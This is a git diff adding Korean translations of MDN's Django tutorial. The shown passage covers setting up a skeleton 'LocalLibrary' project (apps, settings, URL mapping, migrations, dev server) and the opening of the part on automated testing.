+ <li><strong>urls.py</strong>는 사이트의 URL과 뷰의 연결을 지정해줍니다. 여기에는 모든 URL 매핑 코드가 포함될 수 있지만, 특정한 어플리케이션에 매핑의 일부를 할당해주는 것이 일반적입니다<span style="line-height: 1.5;">. </span></li>
+ <li><strong style="line-height: 1.5;">wsgi.py</strong><span style="line-height: 1.5;">는 당신의 장고 어플리케이션이 웹서버와 연결 및 소통하는 것을 돕습니다. 당신은 이것을 표준 형식(boilerplate)으로 다뤄도 무방합니다.</span></li>
+ <li><strong>asgi.py</strong> is a standard for Python asynchronous web apps and servers to communicate with each other and positioned as an asynchronous successor to WSGI, where WSGI provided a standard for synchronous Python apps, ASGI provides one for both asynchronous and synchronous apps, with a WSGI backward-compatibility implementation and multiple servers and application frameworks.</li>
+</ul>
+
+<p><strong>manage.py</strong>는 어플리케이션을 생성하고, 데이터베이스와 작업하고, 그리고 개발 웹 서버를 시작하기 위해 사용됩니다. </p>
+
+<h2 id="catalog_application_만들기">catalog application 만들기</h2>
+
+<p>다음으로, locallibrary 프로젝트 안에 생성될 catalog 어플리케이션을 만들기 위해 아래 명령어를 실행하세요. 이것은 프로젝트의 <strong>manage.py</strong>와 같은 폴더 안에서 실행되어야 합니다.</p>
+
+<pre class="brush: bash notranslate">python3 manage.py startapp catalog</pre>
+
+<div class="note">
+<p><strong>주의 </strong>: 위 명령어는 리눅스/macOS X를 위한 명령어입니다. 윈도우에서의 명령어는 다음과 같습니다.  <code>py -3 manage.py startapp catalog</code></p>
+
+<p>만약 윈도우에서 작업한다면, 이 튜트리얼 전체에서  <code>python3</code>를 <code>py -3</code>로 바꾸십시오.</p>
+
+<p>만약 파이썬 3.7.0 이상을 사용한다면  <code>py manage.py startapp catalog</code>를 사용하면 됩니다.</p>
+</div>
+
+<p>이 도구는 새로운 폴더를 생성하고 폴더를 어플리케이션의 파일들로 채웁니다(아래에 굵게 표시). 대부분의 파일들은 그것의 목적에서 따온 이름을 갖고 있습니다. 예를들어, 뷰는 <strong>views.py</strong>에, 모델은 <strong>models.py</strong>에, 테스트는 <strong>tests.py</strong>에, 관리자 사이트 설정은 <strong>admin.py</strong>에, 어플리케이션 등록(registration)은 <strong>apps.py</strong>에 있습니다. 그리고 관련 객체(object)에 대한 작업을 위한 최소한의 표준 코드를 포함합니다.</p>
+
+<p>이제 업데이트된 프로젝트 디렉토리는 다음과 같아야 합니다. </p>
+
+<pre class="brush: bash notranslate"><em>locallibrary/</em>
+    manage.py
+    <em>locallibrary/
+</em><strong>    <em>catalog/</em>
+        admin.py
+        apps.py
+        models.py
+        tests.py
+        views.py
+        __init__.py
+        <em>migrations/</em></strong>
+</pre>
+
+<p> 추가로 다음을 갖게 됐습니다:</p>
+
+<ul>
+ <li><strong>migrations 폴더</strong> — 모델을 수정할 때 마다 자동으로 데이터베이스를 업데이트하는 것을 가능하게 해 줄 마이그레이션 파일들을 저장할 폴더 </li>
+ <li><strong>__init__.py</strong> — 장고/파이썬이 폴더를 <a href="https://docs.python.org/3/tutorial/modules.html#packages">파이썬 패키지</a>로 인식하게 할 빈 파일입니다. 또한 프로젝트의 다른 부분에서 객체(object)를 사용할 수 있게 합니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>주의 </strong>: 위의 파일 리스트에서 뭔가 부족한게 있다는 것을 알아챘나요? 뷰와 모델 관련 파일은 있는 반면 URL 맵핑, 템플릿, 정적 파일(static file)과 연관된 파일이 없습니다. 그들을 어떻게 생성하는지에 관해서는 추후에 보여드리겠습니다 (이것들은 모든 웹사이트에서 필요하진 않지만 우리 프로젝트에서는 필요합니다).</p>
+</div>
+
+<h2 id="catalog_application_등록하기">catalog application 등록하기</h2>
+
+<p>이제 어플리케이션이 생성되었으니 프로젝트에 등록(register)해야합니다. 도구가 실행될 때 프로젝트에 포함시키기 위해서 말이죠(예를 들어 모델을 데이터베이스에 추가할 때 처럼요). 어플리케이션들은 프로젝트 설정 안의 <code>INSTALLED_APPS</code>  리스트에 추가함으로써 등록할 수 있습니다. </p>
+
+<p>프로젝트의 설정 파일(<strong>locallibrary/locallibrary/settings.py</strong>)을 열고 <code>INSTALLED_APPS</code> 리스트의 정의 부분을 찾으세요. 그리고 그 리스트 제일 아래에 다음과 같이 기입해 주세요.</p>
+
+<pre class="brush: bash notranslate">INSTALLED_APPS = [
+    'django.contrib.admin',
+    'django.contrib.auth',
+    'django.contrib.contenttypes',
+    'django.contrib.sessions',
+    'django.contrib.messages',
+    'django.contrib.staticfiles',
+<strong>    'catalog.apps.CatalogConfig', </strong>
+]</pre>
+
+<p>새로운 행은 어플리케이션 구성 객체(application configuration object)(<code>CatalogConfig</code>)를 지정하게 됩니다. 이것은 어플리케이션을 생성할 때  <strong>/locallibrary/catalog/apps.py</strong> 안에 생성됩니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 설정 파일에 이미 많은 <code>INSTALLED_APPS</code> 항목과 <code>MIDDLEWARE</code> 항목이 있음을 알 수 있습니다. 이를 통해 <a href="/en-US/docs/Learn/Server-side/Django/Admin_site">장고 관리 사이트</a>를 지원할 수 있으며 결과적으로 세션, 인증 등을 포함한 많은 기능이 사용됩니다.</p>
+</div>
+
+<h2 id="데이터베이스_설정">데이터베이스 설정</h2>
+
+<p>이제 보통 프로젝트에 사용할 데이터베이스를 지정하는 시점입니다— 가능한 한 개발과 결과물에 동일한 데이터베이스를 사용하여 사소한 동작 차이를 방지해야 합니다. <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#databases">Databases에 대한 장고 문서</a>에서 가능한 다른 옵션을 확인할 수 있습니다. </p>
+
+<p>이 예제에서는 SQLite 데이터베이스를 사용합니다. 데모 데이터베이스에서 많은 동시 접속을 예상하지 않고, 설정에 추가적인 작업이 필요없기 때문입니다. 이 데이터베이스가 어떻게 설정되어 있는지 <strong>settings.py</strong>에서 확인할 수 있습니다.</p>
+
+<pre class="brush: python notranslate">DATABASES = {
+    'default': {
+        'ENGINE': 'django.db.backends.sqlite3',
+        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
+    }
+}
+</pre>
+
+<p>우리는 SQLite를 사용하기 때문에 여기서 다른 어떤 작업도 할 필요가 없습니다. 다음으로 가죠!</p>
+
+<h2 id="프로젝트의_다른_설정">프로젝트의 다른 설정</h2>
+
+<p><strong>settings.py</strong> 파일은 다른 많은 설정을 조정하는 데에 사용됩니다. 그러나 지금은 <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-TIME_ZONE">TIME_ZONE</a> 만 바꿔 봅시다— 이 부분은 표준화된 <a href="https://en.wikipedia.org/wiki/List_of_tz_database_time_zones">List of tz database time zones</a>과 일치되는 문자열을 사용해야 합니다 (테이블의 TZ 열의 값들을 참고하세요). <code>TIME_ZONE</code> 값을 당신의 타임존에 알맞은 문자열로 바꾸세요. (역자주: 한국은 <code>'Asia/Seoul'</code>로 설정)</p>
+
+<pre class="brush: python notranslate">TIME_ZONE = 'Europe/London'</pre>
+
+<p>지금은 바꾸지 않지만 알아둬야 할 두 가지 설정이 있습니다:</p>
+
+<ul>
+ <li><code>SECRET_KEY</code> : 이것은 장고의 웹사이트 보안 전략의 일부로 사용되는 비밀키입니다. 만약 이 코드를 개발 과정에서 보호하지 않는다면 제품화(production) 과정에서 다른 코드(아마 환경변수나 파일에서 읽어오는)를 사용해야 할 것입니다. </li>
+ <li><code>DEBUG</code> : 이것은 에러가 발생했을 때 HTTP 상태코드 응답 대신 디버깅 로그가 표시되게 합니다. 디버깅 정보는 공격자에게 유용하기 때문에 제품화된(production) 환경에서는 <code>False</code> 로 설정해야 합니다. 하지만, 지금은 <code>True</code>로 설정합니다.</li>
+</ul>
+
+<h2 id="URL_맵퍼_연결">URL 맵퍼 연결</h2>
+
+<p>웹사이트는 프로젝트 폴더 안의 URL 맵퍼 파일(<strong>urls.py</strong>)과 같이 생성됩니다. <strong>urls.py</strong>를 통해 모든 URL 맵핑을 관리할 수 있지만, 연관된 어플리케이션에 따라 매핑을 다르게 하는 것이 일반적입니다.</p>
+
+<p><strong> locallibrary/locallibrary/urls.py</strong> 파일을 열어서 URL 맵퍼를 사용하는 몇 가지 방법을 설명하는 문서를 살펴보세요. </p>
+
+<pre class="brush: python notranslate">"""locallibrary URL Configuration
+
+The `urlpatterns` list routes URLs to views. For more information please see:
+    https://docs.djangoproject.com/en/2.0/topics/http/urls/
+예제:
+Function views 일 경우
+    1. Add an import:  from my_app import views
+    2. Add a URL to urlpatterns:  path('', views.home, name='home')
+Class-based views 일 경우
+    1. Add an import:  from other_app.views import Home
+    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
+다른 참조할 URL FILE 들을 포함시켜야 하는경우
+    1. Import the include() function: from django.urls import include, path
+    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
+"""
+from django.contrib import admin
+from django.urls import path
+
+urlpatterns = [
+    path('admin/', admin.site.urls),
+]
+</pre>
+
+<p>URL 맵핑은 <code>urlpatterns</code> 변수를 통해 관리되는데, 이 변수는 <code>path()</code> 함수의 파이썬 <code>list</code> 타입입니다. 각각의 <code>path()</code> 함수는 패턴이 일치할 때 표시될 뷰에 URL 패턴을 연결하거나, 다른 URL 패턴 테스트 코드 목록에 연결합니다(이 두 번째 경우에서 패턴은 대상 모듈에서 정의된 패턴의 "기본 URL"이 됩니다). <code>urlpatterns</code> 리스트는 맨 처음에 관리자 어플리케이션의 고유한 URL 맵핑 정의를 갖고 있는 <code>admin.site.urls</code> 모듈에 <code>admin/</code> 패턴을 가지고 있는 모든 URL을 매핑하는 단일 함수를 정의합니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: <code>path()</code> 속의 경로는 일치시킬 URL 패턴을 정의하는 문자열입니다. 이 문자열은 명명된(named) 변수를 꺽쇠 괄호(<code>&lt; &gt;</code>) 안에 포함할 수 있습니다. (예시: <code>'catalog/&lt;id&gt;/'</code>)  이 패턴은 URL을 <strong>/catalog/</strong><em>any_chars</em><strong>/</strong> 처럼 일치시키고 <em>any_chars</em>를 뷰에 매개 변수 이름이 <code>id</code> 인 문자열로 전달합니다. 경로(path) 함수(method)와 경로(route) 패턴에 대해서는 추후에 더 논의하겠습니다.</p>
+</div>
+
+<p><code>urlpatterns</code> 리스트에 새로운 리스트 항목을 추가하기 위해서 아래 코드를 파일의 마지막에 추가하세요. 이 새로운 항목은 요청(request)을 모듈 <code>catalog.urls</code>(관련 URL <strong>/catalog/urls.py</strong>가 있는 파일)에  <code>catalog/</code>  패턴과 함께 전달하는 <code>path()</code>를 포함합니다. (번역자주: 만일 <code>www.xxxx.com/catalog</code>로 시작되는 요청이 들어 오면 <code>catalog/urls.py</code>를 참조해서 맵핑하겠다는 의미)</p>
+
+<pre class="brush: python notranslate"># Use include() to add paths from the catalog application
+from django.conf.urls import include
+from django.urls import path
+
+urlpatterns += [
+    path('catalog/', include('catalog.urls')),
+]
+</pre>
+
+<p>이제 사이트의 루트 URL(즉, <code>127.0.0.1:8000</code>)을 <code>127.0.0.1:8000/catalog/</code>로 리다이렉트 하도록 합시다. 이것이 우리가 이 프로젝트에서 사용하는 유일한 어플리케이션입니다. 이것을 하기 위해서는 특별한 뷰 함수(<code>RedirectView</code>)를 사용할 겁니다. 이 함수는 <code>path()</code>에서 지정된 URL 패턴이 일치할 때(위의 경우에선 루트 URL이죠) 첫 번째 인자를 (<code>/catalog/</code>)로 리다이렉트할 새로운 상대 URL로 간주합니다.</p>
+
+<p>파일의 하단에 아래 코드를 다시 추가하세요:</p>
+
+<pre class="brush: python notranslate">#Add URL maps to redirect the base URL to our application
+from django.views.generic import RedirectView
+</pre>
+
+<pre class="notranslate"><code>urlpatterns += [
+    path('', RedirectView.as_view(url='/catalog/', permanent=True)),
+]</code></pre>
+
+<p><code>path()</code> 함수의 첫 번째 매개변수(parameter)를 비워 놓으면 <code>'/'</code>를 의미합니다. 만약 첫 번째 매개변수(parameter)를 <code>'/'</code>라고 작성한다면 개발 서버를 시작할 때 장고는 아래의 경고를 보여줄 겁니다.</p>
+
+<pre class="brush: python notranslate">System check identified some issues:
+
+WARNINGS:
+?: (urls.W002) Your URL pattern '/' has a route beginning with a '/'.
+Remove this slash as it is unnecessary.
+If this pattern is targeted in an include(), ensure the include() pattern has a trailing '/'.
+</pre>
+
+<p>장고는 기본적으로 CSS, JavaScript, 그리고 이미지와 같은 정적 파일을 제공하지 않지만, 이들은 사이트에 매우 유용할 수 있습니다. 최종적으로 이 URL 매퍼에 추가할 것은 개발 중에 정적 파일들을 제공하는 것을 가능하게 하는 아래 코드입니다. </p>
+
+<p>아래 코드를 파일의 하단에 추가하세요:</p>
+
+<pre class="notranslate"><code># Use static() to add url mapping to serve static files during development (only)
+from django.conf import settings
+from django.conf.urls.static import static
+
+urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code>
+</pre>
+
+<div class="note">
+<p><strong> 주의</strong>: <code>urlpatterns</code> 리스트를 확장하는 여러 가지 방법들이 있습니다(위에서는 코드들을 명백하게 구분하기 위해서 간단히 <code>+=</code> 연산자를 사용해서 새로운 리스트 항목을 추가했습니다). 대신 원래의 리스트 정의 안에 새로운 패턴-맵을 추가하는 방법이 있습니다:</p>
+
+<pre class="brush: python notranslate">urlpatterns = [
+    path('admin/', admin.site.urls),
+    path('catalog/', include('catalog.urls')),
+    path('', RedirectView.as_view(url='/catalog/', permanent=True)),
+] + <code>static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code>
+</pre>
+
+<p>추가적으로 임포트(import) 코드(<code>from django.urls import include</code>)를 그것을 사용하는 코드 바로 위에 선언했지만(무엇을 추가했는지 보기 쉽도록) 대개 import 문장은 파이썬 파일의 상단에 포함하는 것이 일반적입니다.</p>
+</div>
+
+<p>마지막으로 <strong>urls.py</strong>라는 파일을 catalog 폴더 안에 생성하세요. 그리고 임포트된 (텅 빈(emptyt))<code>urlpatterns</code>를 정의하기 위해 아래 코드를 추가하세요. 어플리케이션을 만들면서 패턴들을 이곳에 추가할 것입니다. </p>
+
+<pre class="brush: python notranslate">from django.urls import path
+from catalog import views
+
+
+urlpatterns = [
+
+]
+</pre>
+
+<h2 id="Website_framework_테스트_하기">Website framework 테스트 하기</h2>
+
+<p>우리는 이 프로젝트의 뼈대(skeleton)를 만들었습니다. 웹사이트는 아직 아무것도 하지 않지만, 우리들이 여기까지 완성한 프로젝트가 오류 없이 돌아가는지 한번 실행해 볼 필요가 있습니다. </p>
+
+<p>그 전에 먼저 데이터베이스로의 마이그레이션(migration) 작업을 해야 합니다. 이것은 데이터베이스에 우리의 어플리케이션에 속한 모든 모델을 포함하도록 업데이트합니다(그리고 몇몇 빌드 경고의 원인을 제거합니다).</p>
+
+<h3 id="데이터베이스_마이그레이션migration_실행하기">데이터베이스 마이그레이션(migration) 실행하기</h3>
+
+<p>장고는 ORM(Object-Relational-Mapper : 객체-관계-매퍼)를 사용하여 장고 코드 안에 있는 모델 정의(객체)를 기본 데이터베이스에서 사용하는 데이터 구조(관계형 DB)에 매핑합니다. 모델의 정의를 바꿀 때 마다, 장고는 변화를 추적해서, 데이터베이스 안의 기본 데이터 구조가 모델과 일치하도록 자동적으로 이전(migrate)하는 스크립트를(<strong>/locallibrary/catalog/migrations/</strong>안에)생성할 수 있습니다.</p>
+
+<p>웹사이트를 생성할 때 장고는 사이트의 관리자 섹션(나중에 살펴볼)에서 사용할 여러 모델들을 자동으로 추가했습니다. 데이터베이스 안의 그 모델들을 위한 테이블들을 정의하기 위해 아래 명령어를 실행하세요(<strong>manage.py</strong>파일이 포함되어 있는 디렉토리에서 실행합니다). </p>
+
+<pre class="brush: bash notranslate">python3 manage.py makemigrations
+python3 manage.py migrate
+</pre>
+
+<div class="warning">
+<p><strong> 중요</strong>:  저장되어야 할 데이터의 구조에 영향을 미치는 방식으로 모델이 변경될 때마다 위의 명령어를 실행해야 합니다(모든 모델과 개별적인 필드의 추가와 제거를 포함하여).</p>
+</div>
+
+<p><code>makemigrations</code> 명령어는 프로젝트에 설치된 모든 어플리케이션에 대한 migration을 생성합니다(하지만 적용하진 않습니다)(또한 그저 단일 프로젝트를 위한 migration을 실행하기 위해 어플리케이션 이름을 지정할 수 있습니다). 이것으로 migration이 적용되기 전에 코드를 점검할 기회를 가질 수 있습니다 — 당신이 장고 전문가가 되었을 땐 그것들을 조금 조정할 수도 있습니다!</p>
+
+<p><code>migrate</code> 명령어는 migration을 실제로 데이터베이스에 적용합니다(장고는 현재 데이터베이스에 어떤 것들이 추가되었는지 추적합니다).</p>
+
+<div class="note">
+<p><strong>주의</strong>: 덜 사용되는 migration 명령어에 대한 추가적인 정보는 <a href="https://docs.djangoproject.com/en/2.0/topics/migrations/">Migrations</a> (장고 문서)를 참고하세요.</p>
+</div>
+
+<h3 id="웹사이트_실행하기">웹사이트 실행하기</h3>
+
+<p>개발 중에 먼저 개발 웹 서버를 사용해서 웹사이트를 서비스한 후 로컬 웹 브라우저에서 볼 수 있습니다. </p>
+
+<div class="note">
+<p><strong>주의</strong>: 개발용 웹 서버는 견고하거나 제품에 쓰일 만큼 충분하진 않지만, 개발 중에 편하고 빠른 테스트를 위해 장고 웹사이트를 실행할 수 있는 아주 쉬운 방법입니다. 기본적으로 사이트를 당신의 로컬 컴퓨터에(<code>http://127.0.0.1:8000/)</code>서비스 하지만, 네트워크에 있는 다른 컴퓨터를 지정해서 서비스하도록 할 수 있습니다.  <a href="https://docs.djangoproject.com/en/2.0/ref/django-admin/#runserver">django-admin and manage.py: runserver</a> (장고 문서)에서 더 많은 정보를 확인하세요.</p>
+</div>
+
+<p><strong>manage.py</strong>와 같은 디렉터리 안에 있는 <code>runserver</code> 명령어를 실행해 개발 웹 서버를 실행해 보세요.</p>
+
+<pre class="brush: bash notranslate">python3 manage.py runserver
+
+ Performing system checks...
+
+ System check identified no issues (0 silenced).
+ August 15, 2018 - 16:11:26
+ Django version 2.1, using settings 'locallibrary.settings'
+ Starting development server at http://127.0.0.1:8000/
+ Quit the server with CTRL-BREAK.
+</pre>
+
+<p> 서버가 실행된다면 로컬 웹 브라우저에서 <code>http://127.0.0.1:8000/</code> 으로 이동하여 사이트를 볼 수 있습니다. 아래와 같은 사이트 에러 페이지가 뜰 겁니다:</p>
+
+<p><img alt="Django Debug page for Django 2.0" src="https://mdn.mozillademos.org/files/15729/django_404_debug_page.png"></p>
+
+<p>걱정 마세요! 예상된 에러 페이지입니다. 그 이유는 아직(사이트의 루트에 대한 URL을 가져올 때 리다이렉트되는) <code>catalogs.urls</code> 모듈 안에 정의된 page/url들이 없기 때문입니다. </p>
+
+<div class="note">
+<p><strong>주의</strong>: 위 페이지는 중요한 장고 기능을 보여줍니다— 자동화된 디버그 기록(logging)이죠. 에러 화면은 페이지를 찾을 수 없거나, 코드에서 에러가 발생했을 어떤 때라도 유용한 정보가 표시될 겁니다. 이 경우엔 (목록에 있는 대로) 우리가 제공한 URL과 일치하는 어떤 URL 패턴도 없다는 것을 볼 수 있습니다. 디버그 기록(logging)은 제품화되었을 (웹에 라이브로 사이트를 올려놓으면) 때는 꺼져 있을 겁니다. 정보는 더 적지만, 사용자 친화적인 페이지가 서비스되는 것이죠.</p>
+</div>
+
+<p>이 지점에서 장고가 작동한다는 것을 알 수 있습니다! </p>
+
+<div class="note">
+<p><strong>주의</strong>: 어떤 때라도 중요한 변경이 있은 후에는 migration들을 재실행하고 사이트를 다시 테스트해야 합니다. 그렇게 오래 걸리진 않으니까 꼭 하세요!</p>
+</div>
+
+<h2 id="도전_과제">도전 과제</h2>
+
+<p><strong>catalog/</strong> 디렉토리는 뷰, 모델, 그리고 어플리케이션의 다른 부분들을 위한 파일들을 포함하고 있습니다. 이 파일들을 열어 표준 코드(boilerplate)들을 점검해 보세요. </p>
+
+<p>위에서 본 것처럼, 관리자 사이트를 위한 URL 매핑은 이미 프로젝트의 <strong>urls.py</strong> 안에 추가되어 있습니다. 브라우저에서 관리자 영역으로 이동하여 어떤 일이 일어나는지 살펴보세요(위서 살펴본 매핑에서 올바른 URL을 추론할 수 있습니다).</p>
+
+<ul>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<p>이제 urls, models, views, 그리고 templates으로 채울 수 있는 완벽한 뼈대 웹사이트 프로젝트를 만들었습니다.</p>
+
+<p><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Local Library website</a>를 위한 뼈대는 완성되어서 실행되고 있고, 이제는 이 웹사이트가 해야 할 일을 하게 만드는 코드를 작성할 시간입니다. </p>
+
+<h2 id="참고_항목">참고 항목</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial01/">Writing your first Django app - part 1</a>  (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/applications/#configuring-applications">Applications</a> (Django Docs). 어플리케이션의 구성(configuring)에 관한 정보를 갖고 있습니다.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</p>
+
+
+
+<h2 id="이_모듈_안에서">이 모듈 안에서</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/ko/learn/server-side/django/testing/index.html b/files/ko/learn/server-side/django/testing/index.html
new file mode 100644
index 0000000000..d15550bd43
--- /dev/null
+++ b/files/ko/learn/server-side/django/testing/index.html
@@ -0,0 +1,933 @@
+---
+title: 'Django 튜토리얼 파트 10: Django 웹 어플리케이션 테스트하기'
+slug: Learn/Server-side/Django/Testing
+translation_of: Learn/Server-side/Django/Testing
+---
+<h2 id="LearnSidebar">{{LearnSidebar}}</h2>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">웹사이트가 성장함에 따라 손으로 일일히 테스트하는 것은 점점 더 어려워진다. 테스트 할 내용이 늘어날 뿐만 아니라, 컴포넌트간의 상호작용도 복잡해지고, 한 쪽의 작은 수정이 다른쪽에 큰 영향을 줄수 있기 때문에, 모든것이 잘 동작할 수 있도록 더 많은 수정이 필요해지며, 그렇게 추가된 수정이 새로운 에러를 유발하지 않도록 확인되어야 한다. 이러한 문제들의 해결책중 하나는, 쉽고 안정적으로 수정사항이 발생할 때마다 실행되는 자동화된 테스트를 작성하는 것이다. 이 튜토리얼은 Django의 테스트 프레임워크를 사용하여 당신의 웹 사이트에 대한 Unit Testing을 자동화하는 방법을 보여줄것이다. </p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전학습:</th>
+   <td>아래 파트를 포함하여 앞선 모든 튜토리얼 파트의 학습을 완료할 것. <a href="/en-US/docs/Learn/Server-side/Django/Forms">Django 튜토리얼 파트 9: 폼으로 작업하기</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">학습목표:</th>
+   <td>Django 기반 웹사이트의 Unit Test 작성방법 이해하기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p>이제까지 개발된 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> 의 현재 상태는 다음과 같다. 모든 book과 author의 목록, <code>Book</code> 과 <code>Author</code> 항목별 상세 뷰, <code>BookInstance</code> 갱신용 페이지, <code>Author</code> 항목의 생성,갱신,삭제를 위한 페이지( <a href="/en-US/docs/Learn/Server-side/Django/Forms">forms tutorial</a> 편의 도전과제도 완성 했다면 <code>Book</code> 편집 페이지도 포함)가 완성 되었다. 상대적으로 작은 이 사이트조차, 각 페이지가 기대한 대로 동작하는지 손으로 대강 체크하는 것만 해도 몇 분 정도는 걸린다. 사이트가 성장하면서 수정사항이 늘어날수록 적절하게 동작하는지 우리가 수동으로 체크해야 하는 양도 늘어날 수 밖에 없다. 손으로 직접 테스트 하는 방법을 계속 유지한다면, 결국은 대부분의 시간을 테스트에 사용하고 코드를 개선할 수 있는 시간은 거의 없어질 것이다. </p>
+
+<p>자동화된 테스트는 이러한 문제를 진짜로 해결할 수 있다! 명백한 이점은 수동 테스트보다는 훨신 빠르고, 훨씬 세부적인 내용까지도 테스트 할수 있으며, 매번 정확히 같은 기능을 테스트할 수 있다는 점(사람이 테스트한다면 결코 신뢰성있게 할 수 없는 부분!) 이다.  자동화 테스트는 빠르기 때문에 좀 더 정기적으로 실행할 수 있고, 테스트 실패시 코드가 기대대로 동작하지 않았던 부분을 정확히 지목할 수 있다.</p>
+
+<p>게다가, 자동화된 테스트는 당신의 코드의 첫번째 실전 고객으로 역할을 수행하여, 당신의 웹사이트가 어떻게 동작해야하는지 엄격하게 정의하고 문서화하도록 압력을 준다. 종종 이 내용이 당신이 작성하게될 코드 예제나 관련문서의 기초 자료가 된다. 이러한 이유 때문에, 어떤 소프트웨어 개발 프로세스는 테스트 정의와 구현으로 시작되어, 테스트가 요구하는 동작을 충족하도록 코드가 작성되기도 한다. ( 예를 들면, <a href="https://en.wikipedia.org/wiki/Test-driven_development">test-driven</a> 과 <a href="https://en.wikipedia.org/wiki/Behavior-driven_development">behaviour-driven</a> 개발론).</p>
+
+<p>이 튜토리얼은 , LocalLibrary 웹사이트에 몇가지 테스트를 추가하면서, Django에 대한 자동화된 테스트를 작성하는 방법을 보여준다.</p>
+
+<h3 id="Testing의_종류">Testing의 종류</h3>
+
+<p>테스트의 성격, 수준, 테스트의 종류및 테스트에 대한 접근방법은 수없이 많다. 가장 중요한 방법들은 다음과 같다. :</p>
+
+<dl>
+ <dt>Unit tests (유닛 테스트)</dt>
+ <dd>독립적인 콤포넌트의 (성능이 아닌) 기능적인 동작을 검증한다. 흔히 class나 function 레벨로 수행한다.</dd>
+ <dt>Regression tests ( 버그수정 확인 테스트 )</dt>
+ <dd>기존에 보고된 버그들이 재발하는지 테스트한다. 각 테스트는, 먼저 이전에 발생했던 버그가 수정되었는지 체크한 이후에, 버그 수정으로 인해 새롭게 발생되는 버그가 없는지 확인차 재수행하게 된다.</dd>
+ <dt>Integration tests ( 통합 테스트 )</dt>
+ <dd>유닛 테스트를 완료한 각각의 독립적인 콤포넌트들이 함께 결합되어 수행하는 동작을 검증한다. 통합 테스트는 콤포넌트간에 요구되는 상호작용을 검사하며, 각 콤포넌트의 내부적인 동작까지 검증할 필요는 없다. 이 테스트는 단지 전체 웹사이트에 걸쳐 각 콤포넌트가 결합하여 수행하는 동작을 대상으로 한다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고사항 : </strong>이외의 일반적인 테스트의 종류는 다음과 같다. 블랙박스, 화이트 박스, 수동, 자동, 카나리아, 스모크, 적합성 평가(conformance), 인수(acceptance), 기능성, 시스템, 성능, 로드, 스트레스 테스트등. 더 자세한 정보는 위의 키워드로 검색 바람.</p>
+</div>
+
+<h3 id="Django가_testing을_위해_제공하는_것은">Django가 testing을 위해 제공하는 것은?</h3>
+
+<p>웹사이트를 테스트하는 것은 복잡한 작업입니다. 왜냐하면 이것이 HTTP 레벨의 리퀘스트 핸들링, 쿼리모델들, 폼 인증과 처리 그리고 템플릿 렌더링과 같은 여러 로직 레이어로 만들어졌기 때문입니다.</p>
+
+<p>Django는 파이선 표준 라이브러리 unittest로 만들어진 작은 클라스계층의 테스트 프레임워크를 제공합니다. 그 이름과 다르게 이 테스트 프레임워크는 유닛테스트와 통합테스트 모두에게 적당합니다. 이 Django 프레임워크는 웹과 Django의 독특한 특징을 테스트하는 것을 돕기 위한 API메소드와 도구들을 추가합니다. 이것들은 당신이 리퀘스트를 시험하고, 시험 데이터를 삽입하고 그리고 당신의 애플리케이션의 결과물을 검사할 수 있게 합니다. Django는 또한 다른 테스트 프레임워크들을 사용하기 위한 API (LiveServerTestCase)와 도구들을 제공합니다. 예를 들면 당신은 사용자가 생중계 브라우저와 소통하는 것을 시뮬레이션하는 유명한 Selenium 프레임워크와 통합할 수 있습니다.</p>
+
